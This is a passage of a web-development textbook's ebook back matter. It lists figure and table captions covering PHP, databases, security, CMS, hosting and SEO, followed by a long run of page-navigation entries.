335. Figure 12.6 Data flow from HTML form through HTTP request to

PHP's $_POST array
336. Figure 12.7 URL encoding and decoding
337. Figure 12.8 Form display and processing by the same PHP page
338. Figure 12.9 Inefficient approach to displaying individual items
339. Figure 12.10 Sensible approach to displaying individual items using

query strings
340. Figure 12.11 Relationship between request headers, the server, and the

$_SERVER array
341. Figure 12.12 Data flow from HTML form through POST to PHP

$_FILES array
342. Figure 12.13 Version control software
343. Figure 12.14 Git workflow
344. Figure 12.15 Completed Project 1
345. Figure 12.16 Completed Project 2
346. Figure 12.17 Completed Project 3
347. Figure 13.1 Relationship between a class and its objects
348. Figure 13.2 Relationship between a class and its objects in UML
349. Figure 13.3 Different levels of UML detail
350. Figure 13.4 Lifetime of objects in memory in web versus desktop

applications
351. Figure 13.5 A code completion suggestion showing a list of matching

function names with descriptions
352. Figure 13.6 Using templates to generate skeleton code for a class
353. Figure 13.7 Eclipse showing how a PHP class and variables from a

source file are visualized in the Outline, Navigator, and Project Outline
views

354. Figure 13.8 Showing a side-by-side comparison of versions through
Eclipse using Git



355. Figure 13.9 Updated class diagram
356. Figure 13.10 Visibility of class members
357. Figure 13.11 A static property
358. Figure 13.12 Class diagrams for fully encapsulated Artist class
359. Figure 13.13 Interface to generate code for getter and setter methods
360. Figure 13.14 UML class diagrams showing inheritance
361. Figure 13.15 Protected access modifier
362. Figure 13.16 Class diagram for Art example
363. Figure 13.17 Indicating interfaces in a class diagram
364. Figure 14.1 Separating content from data
365. Figure 14.2 How websites use databases
366. Figure 14.3 A database table
367. Figure 14.4 Diagramming a table
368. Figure 14.5 Foreign keys link tables
369. Figure 14.6 Diagramming a one-to-many relationship
370. Figure 14.7 Implementing a many-to-many relationship
371. Figure 14.8 Databases in the enterprise
372. Figure 14.9 SQLite
373. Figure 14.10 SQL SELECT from a single table
374. Figure 14.11 Using the WHERE clause
375. Figure 14.12 SQL SELECT from multiple tables using an INNER JOIN
376. Figure 14.13 Using GROUP BY with aggregate functions
377. Figure 14.14 SQL INSERT, UPDATE, and DELETE
378. Figure 14.15 Distributed transaction processing
379. Figure 14.16 Visualization of a database index for our Books table
380. Figure 14.17 Contrast between relational and NoSQL storage
381. Figure 14.18 Contrast between row and column wise stores
382. Figure 14.19 Screenshot of interactions with the books database using

the MySQL command-line tool
383. Figure 14.20 phpMyAdmin
384. Figure 14.21 MySQL Workbench
385. Figure 14.22 Basic database connection algorithm
386. Figure 14.23 Fetching from a result set
387. Figure 14.24 Integrating user input data into a query
388. Figure 14.25 Travel Photo database schema
389. Figure 14.26 Art database schema
390. Figure 14.27 Book CRM database schema



391. Figure 14.28 Search results page example
392. Figure 14.29 Problems with Listing 14.25
393. Figure 14.30 Program flow in record editor
394. Figure 14.31 Program flow of record editor form
395. Figure 14.32 Storing file location in the database
396. Figure 14.33 Using BLOBs to store image data
397. Figure 14.34 Output of raw data without the correct headers being sent,

rather than the image (inset)
398. Figure 14.35 Completed Project 1
399. Figure 14.36 Completed Project 2
400. Figure 14.37 Completed Project 3
401. Figure 15.1 Comparing isset() and empty() with query string parameters
402. Figure 15.2 Displaying error messages
403. Figure 15.3 Indicating where an error is located
404. Figure 15.4 Providing textual hints
405. Figure 15.5 Using tool tips
406. Figure 15.6 Using input masks
407. Figure 15.7 Visualizing levels of validation
408. Figure 15.8 Example form to be validated
409. Figure 15.9 HTML5 browser validation
410. Figure 15.10 Illustration of the errors being displayed inside the browser
411. Figure 15.11 Completed Project 2
412. Figure 15.12 Completed Project 3
413. Figure 16.1 Desktop applications versus web applications
414. Figure 16.2 What the web server sees
415. Figure 16.3 What the user wants the server to see
416. Figure 16.4 Recap of GET versus POST
417. Figure 16.5 URLs within a search engine result page
418. Figure 16.6 Cookies at work
419. Figure 16.7 Serialization and deserialization
420. Figure 16.8 Session state
421. Figure 16.9 Session IDs
422. Figure 16.10 Applications and server memory
423. Figure 16.11 Web farm
424. Figure 16.12 Shared session provider
425. Figure 16.13 Using web storage
426. Figure 16.14 Page output caching



427. Figure 16.15 Completed Project 1
428. Figure 16.16 Completed Project 2
429. Figure 17.1 Visualizing layers
430. Figure 17.2 Visualizing tiers
431. Figure 17.3 Two-layer model
432. Figure 17.4 Business rules and processes
433. Figure 17.5 Three-layer model
434. Figure 17.6 Simple mapping of tables to domain objects
435. Figure 17.7 Complex domain object
436. Figure 17.8 A database API adapter
437. Figure 17.9 Template Method pattern
438. Figure 17.10 Table Data Gateways
439. Figure 17.11 Example domain model
440. Figure 17.12 Active Record version of the Artist and ArtistCollection

classes
441. Figure 17.13 Classic Model-View-Controller (MVC) pattern
442. Figure 17.14 MVC split between the client and the server
443. Figure 17.15 Response in the MVC between client and server
444. Figure 17.16 Front Controller
445. Figure 17.17 Workflow and architecture of the Selenium testing system
446. Figure 17.18 Completed Project 2
447. Figure 17.19 Completed Project 3
448. Figure 18.1 The CIA triad: confidentiality, integrity, and availability
449. Figure 18.2 Some examples of security input into the SDLC
450. Figure 18.3 Authentication factors
451. Figure 18.4 The steps required to register and authenticate a user using

OAuth
452. Figure 18.5 Alice transmitting to Bob with Eve intercepting the message
453. Figure 18.6 Alice and Bob using symmetric encryption to transmit

messages
454. Figure 18.7 Caesar cipher for shift value of 3. HELLO becomes

KHOOR
455. Figure 18.8 Letter frequency in the English alphabet using Oxford

English Dictionary summary10
456. Figure 18.9 Vigenère cipher example with key hotdog
457. Figure 18.10 High-level illustration of the DES cipher
458. Figure 18.11 Illustration of a simple Diffie-Hellman Key Exchange for g



= 2 and p = 11
459. Figure 18.12 Illustration of a digital signature and its validation
460. Figure 18.13 Screenshot from Google's Gmail service, using HTTPS
461. Figure 18.14 SSL handshake
462. Figure 18.15 The contents of a self-signed certificate for

funwebdev.com
463. Figure 18.16 The Firefox Certificate Authority Management interface
464. Figure 18.17 Firefox warning that arises from a self-signed certificate
465. Figure 18.18 An Authentication system using salted passwords
466. Figure 18.19 Remembering a user logon
467. Figure 18.20 Screenshot of the Nagios web interface (green means OK)
468. Figure 18.21 Illustration of a SQL injection attack (right) and intended

usage (left)
469. Figure 18.22 Illustration of a Reflection XSS attack
470. Figure 18.23 Illustration of a stored XSS attack in action
471. Figure 18.24 Illustration of a Denial of Service (DoS) and a Distributed

Denial of Service (DDoS) attack
472. Figure 18.25 Illustrated virtual open relay exploit
473. Figure 18.26 Illustrated exploit of a command-line pass-through of user

input
474. Figure 19.1 XML in the web context
475. Figure 19.2 XSLT workflow
476. Figure 19.3 Usage of XSLT
477. Figure 19.4 Result of XSLT
478. Figure 19.5 Sample XPath expressions
479. Figure 19.6 Sample JSON
480. Figure 19.7 Overview of web services
481. Figure 19.8 SOAP web services
482. Figure 19.9 REST web services
483. Figure 19.10 Example mashup combining Google Maps and Twitter

(taken from TrendsMap.com)
484. Figure 19.11 Result of Listing 19.15 in the browser
485. Figure 19.12 JSON example process
486. Figure 19.13 Map request format
487. Figure 19.14 Finished page with map
488. Figure 19.15 Testing the serviceTravelCountries.php service in the

browser



489. Figure 19.16 Example autosuggest textbox
490. Figure 19.17 Visualization of the asynchronous requests for tiles made

by Google Maps
491. Figure 19.18 Finished extended example
492. Figure 19.19 Completed Project 1
493. Figure 19.20 Completed Project 2
494. Figure 19.21 Completed Project 3
495. Figure 20.1 Popularity of some JavaScript frameworks
496. Figure 20.2 Job posting data in web development areas [from

Indeed.com]
497. Figure 20.3 Examples of a push web application
498. Figure 20.4 Blocking thread-based architecture
499. Figure 20.5 Nonblocking single-thread architecture
500. Figure 20.6 Running the Hello World example
501. Figure 20.7 Static file server
502. Figure 20.8 Chat in the browser
503. Figure 20.9 Problem of consistency in multiple data server environments
504. Figure 20.10 Single master replication
505. Figure 20.11 Failover clustering on master
506. Figure 20.12 Multiple master replication
507. Figure 20.13 Database sharding
508. Figure 20.14 Comparing relational databases to the MongoDB data

model
509. Figure 20.15 Running the MongoDB Shell
510. Figure 20.16 Comparing a MongoDB query to an SQL query
511. Figure 20.17 An example student-created Single-Page Application
512. Figure 20.18 Simple AngularJS page
513. Figure 20.19 Adding a controller
514. Figure 20.20 Listing 20.6 in the browser
515. Figure 21.1 The challenge of managing a WWW site without hosting

considerations
516. Figure 21.2 The benefit of a web content management system
517. Figure 21.3 Market share of content management systems
518. Figure 21.4 Screenshot of the post editor in WordPress
519. Figure 21.5 Screenshot of the TinyMCE WYSIWYG editor included

with WordPress
520. Figure 21.6 The HTML view of a WYSIWYG editor



521. Figure 21.7 TinyMCE with a style dropdown box using the styles from a
predefined CSS stylesheet

522. Figure 21.8 Multiple templates and their relationship to content
523. Figure 21.9 Typical roles and responsibilities in a web CMS
524. Figure 21.10 Multiple dashboard menus for the five default roles in

WordPress
525. Figure 21.11 Illustration of multiple people working in a workflow
526. Figure 21.12 Media management portal in WordPress
527. Figure 21.13 Screenshot of a media insertion dialog in the page editor
528. Figure 21.14 Screen of the dashboard with update notifications circled in

red
529. Figure 21.15 Screenshot of the WordPress directory structure
530. Figure 21.16 Difference in installation between a single and multisite
531. Figure 21.17 Illustration of WordPress components used to generate

HTML output
532. Figure 21.18 The WordPress category widget configuration view and

corresponding display
533. Figure 21.19 Illustration of the WordPress permalinks module in the

dashboard
534. Figure 21.20 A simplified illustration of the default template selection

hierarchy in WordPress
535. Figure 21.21 Screenshot of theme management interface in the

dashboard
536. Figure 21.22 Illustrated WordPress loop
537. Figure 21.23 Custom template selected from list in the WordPress page

editor
538. Figure 21.24 Annotated screenshot of the rendering of the custom

template page from Listing 21.5
539. Figure 21.25 Dashboard showing menu links and interface to create a

custom post type of Textbook
540. Figure 21.26 Textbook editor with additional fields related to textbooks
541. Figure 21.27 ERD for the posts and post_meta tables in WordPress
542. Figure 21.28 View of the plugin activation area in the dashboard
543. Figure 21.29 Illustration of eventual end goal of Project 21.1
544. Figure 21.30 Screenshot of the Travel Album post type in WordPress
545. Figure 22.1 Simple shared hosting, with users having their own home

folder



546. Figure 22.2 Virtualized shared host, where each user has a virtual server
of their own

547. Figure 22.3 Illustration of a dedicated server facility
548. Figure 22.4 In-house hosting
549. Figure 22.5 Multiple servers versus a virtualized server
550. Figure 22.6 Type 1 and Type 2 hypervisors compared
551. Figure 22.7 Vagrant
552. Figure 22.8 Working with Vagrant
553. Figure 22.9 Container-based virtualization
554. Figure 22.10 Illustration of the domain name resolution process (first

shown in Chapter 2)
555. Figure 22.11 Illustration of the registrant information available to

anyone in the WHOIS system
556. Figure 22.12 Illustration of a private registration through a third party
557. Figure 22.13 Annotated usage of the dig command
558. Figure 22.14 Illustration of a zone file with A, AAAA, CName, MX,

SOA, and SPF DNS records
559. Figure 22.15 Annotated SPF string for funwebdev.com
560. Figure 22.16 Web server popularity
561. Figure 22.17 Illustration of a reused connection in Apache
562. Figure 22.18 Permission bits and the corresponding octal number
563. Figure 22.19 How three sites are hosted on one IP address with

VirtualHosts
564. Figure 22.20 The ways of responding to a folder request
565. Figure 22.21 Apache server using a redirect on a request
566. Figure 22.22 Illustration of the RewriteRule syntax
567. Figure 22.23 Internal URL rewriting rules as seen by the client
568. Figure 22.24 Illustration of the RewriteCond directive matching an IP

address
569. Figure 22.25 Prompt for authentication from an .htaccess file
570. Figure 23.1 Screenshot of the Open Directory Project (Dmoz.org)
571. Figure 23.2 Major components of a search engine
572. Figure 23.3 Visualization of indexes on database tables
573. Figure 23.4 Reverse index illustration
574. Figure 23.5 Webpages A, B, C, and D and their links
575. Figure 23.6 Illustration of two iterations of PageRank
576. Figure 23.7 Iterations of PageRank with a rank sink (A)



577. Figure 23.8 Representing web page content as a vector
578. Figure 23.9 Three vectors in two-dimensional space
579. Figure 23.10 Illustration of how webpages can be compared as vectors
580. Figure 23.11 Sample search engine output
581. Figure 23.12 A five-site link farm with rank equally distributed
582. Figure 23.13 PageRank distribution in a link pyramid after two iterations
583. Figure 23.14 Illustration of canonical URLs and relationships
584. Figure 23.15 Annotated screenshot of some of the SEO considerations to

implement
585. Figure 24.1 Illustration of six degrees of separation
586. Figure 24.2 Illustration of email social networks
587. Figure 24.3 Social network connection via multiple media, categories,

and public broadcasts
588. Figure 24.4 Screenshots of Google+ and Facebook pages for this

textbook
589. Figure 24.5 Illustration of a URL shortening service
590. Figure 24.6 Relationship between a plugin on your page and the

resulting Facebook newsfeed items
591. Figure 24.7 Screenshot of the Facebook Like social plugin
592. Figure 24.8 Screenshot of story on a Facebook newsfeed generated in

response to clicking Like
593. Figure 24.9 Illustration of Open Graph's actors, apps, actions, and

objects
594. Figure 24.10 Output of the Facebook Open Graph Debugger and best

guesses it will make
595. Figure 24.11 Annotated relationship between some Open Graph tags and

the story that appears in the Facebook newsfeed in response to liking a
page

596. Figure 24.12 Screenshot of the Google +1 button
597. Figure 24.13 Google+ combination badge for the Google+ page
598. Figure 24.14 The Tweet button
599. Figure 24.15 Twitter Follow button
600. Figure 24.16 Screenshot of the Twitter Widget code generator
601. Figure 24.17 Illustration of an integrated Facebook web game
602. Figure 24.18 Relationship between the parties in web advertising
603. Figure 24.19 Distribution of the most popular ad networks
604. Figure 24.20 Real-time auctions and ad placements in an advertising



network
605. Figure 24.21 Annotated email example for marketing purposes
606. Figure 24.22 QR code and the same code obscured (but still working)
607. Figure 24.23 Illustration of tracking a physical campaign with multiple

QR codes
608. Figure 24.24 Screenshot from Bing's webmaster tools showing a range

of stats
609. Figure 24.25 Screenshot of the top of the AWStats analytics report
610. Figure 24.26 A dashboard from the Google Analytics tool
611. Figure 24.27 Showing where users flow through and leave a website.
612. Figure 24.28 In-Page Analytics from Google use overlays to display

stats on your website.
613. Figure 24.29 Hadoop big data processing
614. Figure 24.30 Portion of the Art Store with Facebook Like, Google +1,

and Tweet This widgets
615. Figure 24.31 Illustration of two HTML emails sending in response to a

button click

List of Tables
1. Table 2.1 HTTP Response Codes
2. Table 3.1 Sample Relative Referencing
3. Table 3.2 Common Text-Level Semantic Elements
4. Table 3.3 Common Character Entities
5. Table 4.1 Common CSS Properties
6. Table 4.2 Color Values
7. Table 4.3 Units of Measure Values
8. Table 4.4 Attribute Selectors
9. Table 4.5 Common Pseudo-Class and Pseudo-Element Selectors

10. Table 4.6 Contextual Selectors
11. Table 4.7 Common Background Properties
12. Table 4.8 Border Properties
13. Table 4.9 Font Properties
14. Table 4.10 Text Properties
15. Table 5.1 GET versus POST
16. Table 5.2 Form-Related HTML Elements



17. Table 5.3 Text Input Controls
18. Table 5.4 Button Elements
19. Table 5.5 HTML5 Date and Time Controls
20. Table 6.1 Image Color Depth Possibilities
21. Table 6.2 Browser Support for Video Formats (as of Spring 2016)
22. Table 6.3 Browser Support for Audio Formats (as of Spring 2016)
23. Table 7.1 Position values
24. Table 7.2 Clear Property
25. Table 7.3 Browser Features You Can Examine with Media Queries
26. Table 7.4 Transition Properties3
27. Table 7.5 Main Animation Properties3
28. Table 8.1 Primitive Types
29. Table 8.2 Output Methods
30. Table 8.3 Comparator Operations
31. Table 9.1 Some Essential Node Object Properties
32. Table 9.2 Selection DOM Methods
33. Table 9.3 Some Essential Element Node Properties
34. Table 9.4 Some Specific HTML DOM Element Properties for Certain

Tag Types
35. Table 9.5 DOM Manipulation Methods
36. Table 9.6 Common Properties and Methods of the Event Object
37. Table 9.7 Mouse Events in JavaScript
38. Table 9.8 Keyboard Events in JavaScript
39. Table 9.9 Form Events in JavaScript
40. Table 9.10 Frame Events in JavaScript
41. Table 10.1 jQuery Form Selectors and Their CSS Equivalents When

Applicable
42. Table 11.1 PHP Data Types
43. Table 11.2 String Escape Sequences
44. Table 12.1 Superglobal Variables
45. Table 12.2 Error Codes in PHP for File Upload Taken from php.net6
46. Table 12.3 In-Memory File Functions
47. Table 14.1 Common Database Table Data Types
48. Table 14.2 Fetch Functions
49. Table 15.1 Some error_reporting Constants
50. Table 15.2 Regular Expression Metacharacters (i.e., Characters with

Special Meaning)



51. Table 15.3 Common Regular Expression Patterns
52. Table 15.4 Some Common Web-Related Regular Expressions
53. Table 17.1 Principal Software Layers
54. Table 18.1 Example of an Impact/Probability Risk Assessment Table

Using 16 as the Threshold
55. Table 18.2 Plain Text Password Storage
56. Table 18.3 Users Table with MD5 Hash Applied to Password Field
57. Table 18.4 Users Table with MD5 Hash Using a Unique Salt in the

Password Field
58. Table 20.1 Mapping HTTP Verbs onto CRUD Actions
59. Table 20.2 Approximate MongoDB equivalences to RDMS
60. Table 21.1 Some Popular Content Management Systems
61. Table 23.1 A Table Showing some Strings and Their Soundex and

Metaphone Values.

Landmarks
1. Brief Table of Contents
2. Frontmatter
3. Start of Content
4. backmatter
5. List of Illustrations
6. List of Tables

1. i
2. ii
3. iii
4. iv
5. v
6. vi
7. vii
8. viii
9. ix

10. x
11. xi
12. xii



13. xiii
14. xiv
15. xv
16. xvi
17. xvii
18. xviii
19. xix
20. xx
21. xxi
22. xxii
23. xxiii
24. xxiv
25. xxv
26. xxvi
27. xxvii
28. xxviii
29. xxix
30. xxx
31. xxxi
32. xxxii
33. xxxiii
34. xxxiv
35. xxxv
36. xxxvi
37. xxxvii
38. xxxviii
39. xxxix
40. xl
41. xli
42. xlii
43. xliii
44. xliv
45. xlv
46. xlvi
47. xlvii
48. xlviii
49. 1



50. 2
51. 3
52. 4
53. 5
54. 6
55. 7
56. 8
57. 9
58. 10
59. 11
60. 12
61. 13
62. 14
63. 15
64. 16
65. 17
66. 18
67. 19
68. 20
69. 21
70. 22
71. 23
72. 24
73. 25
74. 26
75. 27
76. 28
77. 29
78. 30
79. 31
80. 32
81. 33
82. 34
83. 35
84. 36
85. 37
86. 38



87. 39
88. 40
89. 41
90. 42
91. 43
92. 44
93. 45
94. 46
95. 47
96. 48
97. 49
98. 50
99. 51

100. 52
101. 53
102. 54
103. 55
104. 56
105. 57
106. 58
107. 59
108. 60
109. 61
110. 62
111. 63
112. 64
113. 65
114. 66
115. 67
116. 68
117. 69
118. 70
119. 71
120. 72
121. 73
122. 74
123. 75



124. 76
125. 77
126. 78
127. 79
128. 80
129. 81
130. 82
131. 83
132. 84
133. 85
134. 86
135. 87
136. 88
137. 89
138. 90
139. 91
140. 92
141. 93
142. 94
143. 95
144. 96
145. 97
146. 98
147. 99
148. 100
149. 101
150. 102
151. 103
152. 104
153. 105
154. 106
155. 107
156. 108
157. 109
158. 110
159. 111
160. 112



161. 113
162. 114
163. 115
164. 116
165. 117
166. 118
167. 119
168. 120
169. 121
170. 122
171. 123
172. 124
173. 125
174. 126
175. 127
176. 128
177. 129
178. 130
179. 131
180. 132
181. 133
182. 134
183. 135
184. 136
185. 137
186. 138
187. 139
188. 140
189. 141
190. 142
191. 143
192. 144
193. 145
194. 146
195. 147
196. 148
197. 149



198. 150
199. 151
200. 152
201. 153
202. 154
203. 155
204. 156
205. 157
206. 158
207. 159
208. 160
209. 161
210. 162
211. 163
212. 164
213. 165
214. 166
215. 167
216. 168
217. 169
218. 170
219. 171
220. 172
221. 173
222. 174
223. 175
224. 176
225. 177
226. 178
227. 179
228. 180
229. 181
230. 182
231. 183
232. 184
233. 185
234. 186



235. 187
236. 188
237. 189
238. 190
239. 191
240. 192
241. 193
242. 194
243. 195
244. 196
245. 197
246. 198
247. 199
248. 200
249. 201
250. 202
251. 203
252. 204
253. 205
254. 206
255. 207
256. 208
257. 209
258. 210
259. 211
260. 212
261. 213
262. 214
263. 215
264. 216
265. 217
266. 218
267. 219
268. 220
269. 221
270. 222
271. 223



272. 224
273. 225
274. 226
275. 227
276. 228
277. 229
278. 230
279. 231
280. 232
281. 233
282. 234
283. 235
284. 236
285. 237
286. 238
287. 239
288. 240
289. 241
290. 242
291. 243
292. 244
293. 245
294. 246
295. 247
296. 248
297. 249
298. 250
299. 251
300. 252
301. 253
302. 254
303. 255
304. 256
305. 257
306. 258
307. 259
308. 260



309. 261
310. 262
311. 263
312. 264
313. 265
314. 266
315. 267
316. 268
317. 269
318. 270
319. 271
320. 272
321. 273
322. 274
323. 275
324. 276
325. 277
326. 278
327. 279
328. 280
329. 281
330. 282
331. 283
332. 284
333. 285
334. 286
335. 287
336. 288
337. 289
338. 290
339. 291
340. 292
341. 293
342. 294
343. 295
344. 296
345. 297



346. 298
347. 299
348. 300
349. 301
350. 302
351. 303
352. 304
353. 305
354. 306
355. 307
356. 308
357. 309
358. 310
359. 311
360. 312
361. 313
362. 314
363. 315
364. 316
365. 317
366. 318
367. 319
368. 320
369. 321
370. 322
371. 323
372. 324
373. 325
374. 326
375. 327
376. 328
377. 329
378. 330
379. 331
380. 332
381. 333
382. 334



383. 335
384. 336
385. 337
386. 338
387. 339
388. 340
389. 341
390. 342
391. 343
392. 344
393. 345
394. 346
395. 347
396. 348
397. 349
398. 350
399. 351
400. 352
401. 353
402. 354
403. 355
404. 356
405. 357
406. 358
407. 359
408. 360
409. 361
410. 362
411. 363
412. 364
413. 365
414. 366
415. 367
416. 368
417. 369
418. 370
419. 371



420. 372
421. 373
422. 374
423. 375
424. 376
425. 377
426. 378
427. 379
428. 380
429. 381
430. 382
431. 383
432. 384
433. 385
434. 386
435. 387
436. 388
437. 389
438. 390
439. 391
440. 392
441. 393
442. 394
443. 395
444. 396
445. 397
446. 398
447. 399
448. 400
449. 401
450. 402
451. 403
452. 404
453. 405
454. 406
455. 407
456. 408



457. 409
458. 410
459. 411
460. 412
461. 413
462. 414
463. 415
464. 416
465. 417
466. 418
467. 419
468. 420
469. 421
470. 422
471. 423
472. 424
473. 425
474. 426
475. 427
476. 428
477. 429
478. 430
479. 431
480. 432
481. 433
482. 434
483. 435
484. 436
485. 437
486. 438
487. 439
488. 440
489. 441
490. 442
491. 443
492. 444
493. 445



494. 446
495. 447
496. 448
497. 449
498. 450
499. 451
500. 452
501. 453
502. 454
503. 455
504. 456
505. 457
506. 458
507. 459
508. 460
509. 461
510. 462
511. 463
512. 464
513. 465
514. 466
515. 467
516. 468
517. 469
518. 470
519. 471
520. 472
521. 473
522. 474
523. 475
524. 476
525. 477
526. 478
527. 479
528. 480
529. 481
530. 482



531. 483
532. 484
533. 485
534. 486
535. 487
536. 488
537. 489
538. 490
539. 491
540. 492
541. 493
542. 494
543. 495
544. 496
545. 497
546. 498
547. 499
548. 500
549. 501
550. 502
551. 503
552. 504
553. 505
554. 506
555. 507
556. 508
557. 509
558. 510
559. 511
560. 512
561. 513
562. 514
563. 515
564. 516
565. 517
566. 518
567. 519



568. 520
569. 521
570. 522
571. 523
572. 524
573. 525
574. 526
575. 527
576. 528
577. 529
578. 530
579. 531
580. 532
581. 533
582. 534
583. 535
584. 536
585. 537
586. 538
587. 539
588. 540
589. 541
590. 542
591. 543
592. 544
593. 545
594. 546
595. 547
596. 548
597. 549
598. 550
599. 551
600. 552
601. 553
602. 554
603. 555
604. 556



605. 557
606. 558
607. 559
608. 560
609. 561
610. 562
611. 563
612. 564
613. 565
614. 566
615. 567
616. 568
617. 569
618. 570
619. 571
620. 572
621. 573
622. 574
623. 575
624. 576
625. 577
626. 578
627. 579
628. 580
629. 581
630. 582
631. 583
632. 584
633. 585
634. 586
635. 587
636. 588
637. 589
638. 590
639. 591
640. 592
641. 593



642. 594
643. 595
644. 596
645. 597
646. 598
647. 599
648. 600
649. 601
650. 602
651. 603
652. 604
653. 605
654. 606
655. 607
656. 608
657. 609
658. 610
659. 611
660. 612
661. 613
662. 614
663. 615
664. 616
665. 617
666. 618
667. 619
668. 620
669. 621
670. 622
671. 623
672. 624
673. 625
674. 626
675. 627
676. 628
677. 629
678. 630



679. 631
680. 632
681. 633
682. 634
683. 635
684. 636
685. 637
686. 638
687. 639
688. 640
689. 641
690. 642
691. 643
692. 644
693. 645
694. 646
695. 647
696. 648
697. 649
698. 650
699. 651
700. 652
701. 653
702. 654
703. 655
704. 656
705. 657
706. 658
707. 659
708. 660
709. 661
710. 662
711. 663
712. 664
713. 665
714. 666
715. 667



716. 668
717. 669
718. 670
719. 671
720. 672
721. 673
722. 674
723. 675
724. 676
725. 677
726. 678
727. 679
728. 680
729. 681
730. 682
731. 683
732. 684
733. 685
734. 686
735. 687
736. 688
737. 689
738. 690
739. 691
740. 692
741. 693
742. 694
743. 695
744. 696
745. 697
746. 698
747. 699
748. 700
749. 701
750. 702
751. 703
752. 704



753. 705
754. 706
755. 707
756. 708
757. 709
758. 710
759. 711
760. 712
761. 713
762. 714
763. 715
764. 716
765. 717
766. 718
767. 719
768. 720
769. 721
770. 722
771. 723
772. 724
773. 725
774. 726
775. 727
776. 728
777. 729
778. 730
779. 731
780. 732
781. 733
782. 734
783. 735
784. 736
785. 737
786. 738
787. 739
788. 740
789. 741



790. 742
791. 743
792. 744
793. 745
794. 746
795. 747
796. 748
797. 749
798. 750
799. 751
800. 752
801. 753
802. 754
803. 755
804. 756
805. 757
806. 758
807. 759
808. 760
809. 761
810. 762
811. 763
812. 764
813. 765
814. 766
815. 767
816. 768
817. 769
818. 770
819. 771
820. 772
821. 773
822. 774
823. 775
824. 776
825. 777
826. 778



827. 779
828. 780
829. 781
830. 782
831. 783
832. 784
833. 785
834. 786
835. 787
836. 788
837. 789
838. 790
839. 791
840. 792
841. 793
842. 794
843. 795
844. 796
845. 797
846. 798
847. 799
848. 800
849. 801
850. 802
851. 803
852. 804
853. 805
854. 806
855. 807
856. 808
857. 809
858. 810
859. 811
860. 812
861. 813
862. 814
863. 815



864. 816
865. 817
866. 818
867. 819
868. 820
869. 821
870. 822
871. 823
872. 824
873. 825
874. 826
875. 827
876. 828
877. 829
878. 830
879. 831
880. 832
881. 833
882. 834
883. 835
884. 836
885. 837
886. 838
887. 839
888. 840
889. 841
890. 842
891. 843
892. 844
893. 845
894. 846
895. 847
896. 848
897. 849
898. 850
899. 851
900. 852



901. 853
902. 854
903. 855
904. 856
905. 857
906. 858
907. 859
908. 860
909. 861
910. 862
911. 863
912. 864
913. 865
914. 866
915. 867
916. 868
917. 869
918. 870
919. 871
920. 872
921. 873
922. 874
923. 875
924. 876
925. 877
926. 878
927. 879
928. 880
929. 881
930. 882
931. 883
932. 884
933. 885
934. 886
935. 887
936. 888
937. 889



938. 890
939. 891
940. 892
941. 893
942. 894
943. 895
944. 896
945. 897
946. 898
947. 899
948. 900
949. 901
950. 902
951. 903
952. 904
953. 905
954. 906
955. 907
956. 908
957. 909
958. 910
959. 911
960. 912
961. 913
962. 914
963. 915
964. 916
965. 917
966. 918
967. 919
968. 920
969. 921
970. 922
971. 923
972. 924
973. 925
974. 926



975. 927
976. 928
977. 929
978. 930
979. 931
980. 932
981. 933
982. 934
983. 935
984. 936
985. 937
986. 938
987. 939
988. 940
989. 941
990. 942
991. 943
992. 944
993. 945
994. 946
995. 947
996. 948
997. 949
998. 950
999. 951

1000. 952
1001. 953
1002. 954
1003. 955
1004. 956
1005. 957
1006. 958
1007. 959
1008. 960
1009. 961
1010. 962
1011. 963



1012. 964
1013. 965
1014. 966
1015. 967
1016. 968
1017. 969
1018. 970
1019. 971
1020. 972
1021. 973
1022. 974
1023. 975
1024. 976
1025. 977
1026. 978
1027. 979
1028. 980
1029. 981
1030. 982
1031. 983
1032. 984
1033. 985
1034. 986
1035. 987
1036. 988
1037. 989
1038. 990
1039. 991
1040. 992
1041. 993
1042. 994
1043. 995
1044. 996
1045. 997
1046. 998
1047. 999
1048. 1000



1049. 1001
1050. 1002
1051. 1003
1052. 1004
1053. 1005
1054. 1006
1055. 1007
1056. 1008
1057. 1009
1058. 1010
1059. 1011
1060. 1012
1061. 1013
1062. 1014
1063. 1015
1064. 1016
1065. 1017
1066. 1018
1067. 1019
1068. 1020
1069. 1021
1070. 1022
1071. 1023
1072. 1024
1073. 1025
1074. 1026
1075. 1027
1076. 1028
1077. 1029
1078. 1030
1079. 1031
1080. 1032
1081. 1033
1082. 1034
1083. 1035
1084. 1036
1085. 1037



1086. 1038
1087. 1039
1088. 1040
1089. 1041
1090. 1042
1091. 1043
1092. 1044
1093. 1045
1094. 1046
1095. 1047
1096. 1048
1097. 1049
1098. 1050
1099. 1051
1100. 1052
1101. 1053
1102. 1054
1103. 1055
1104. 1056
1105. 1057
1106. 1058
1107. 1059
1108. 1060
1109. 1061
1110. 1062
1111. 1063
1112. 1064
1113. 1065
1114. 1066
1115. 1067
1116. 1068
1117. 1069
1118. 1070
1119. 1071
1120. 1072
1121. 1073
1122. 1074



1123. 1075
1124. 1076
1125. 1077
1126. 1078
1127. 1079
1128. 1080
1129. 1081
1130. 1082
1131. 1083
1132. 1084
1133. 1085
1134. 1086
1135. 1087
1136. 1088
1137. 1089
1138. 1090
1139. 1091
1140. 1092
1141. 1093
1142. 1094
1143. 1095
1144. 1096
1145. 1097
1146. 1098
1147. 1099
1148. 1100
1149. 1101
1150. 1102
1151. 1103
1152. 1104
1153. 1105
1154. 1106
1155. 1107
1156. 1108
1157. 1109
1158. 1110
1159. 1111



1160. 1112
1161. 1113
1162. 1114
1163. 1115
1164. 1116
1165. 1117
1166. 1118
1167. 1119
1168. 1120
1169. 1121
1170. 1122
1171. 1123
1172. 1124
1173. 1125
1174. 1126
1175. 1127
1176. 1128
1177. 1129
1178. 1130
1179. 1131
1180. 1132
1181. 1133
1182. 1134
1183. 1135
1184. 1136
1185. 1137
1186. 1138
1187. 1139
1188. 1140
1189. 1141
1190. 1142
1191. 1143
1192. 1144
1193. 1145
1194. 1146
1195. 1147
1196. 1148



1197. 1149
1198. 1150
1199. 1151
1200. 1152
1201. 1153
1202. 1154
1203. 1155
1204. 1156
1205. 1157
1206. 1158
1207. 1159
1208. 1160
1209. 1161
1210. 1162
1211. 1163
1212. 1164
1213. 1165
1214. 1166
1215. 1167
1216. 1168
1217. 1169
1218. 1170
1219. 1171
1220. 1172
1221. 1173
1222. 1174
1223. 1175
1224. 1176
1225. 1177
1226. 1178
1227. 1179
1228. 1180
1229. 1181
1230. 1182
1231. 1183
1232. 1184



The pathways are as follows:

All in-one pathway

Recommended chapters: 1 to 16

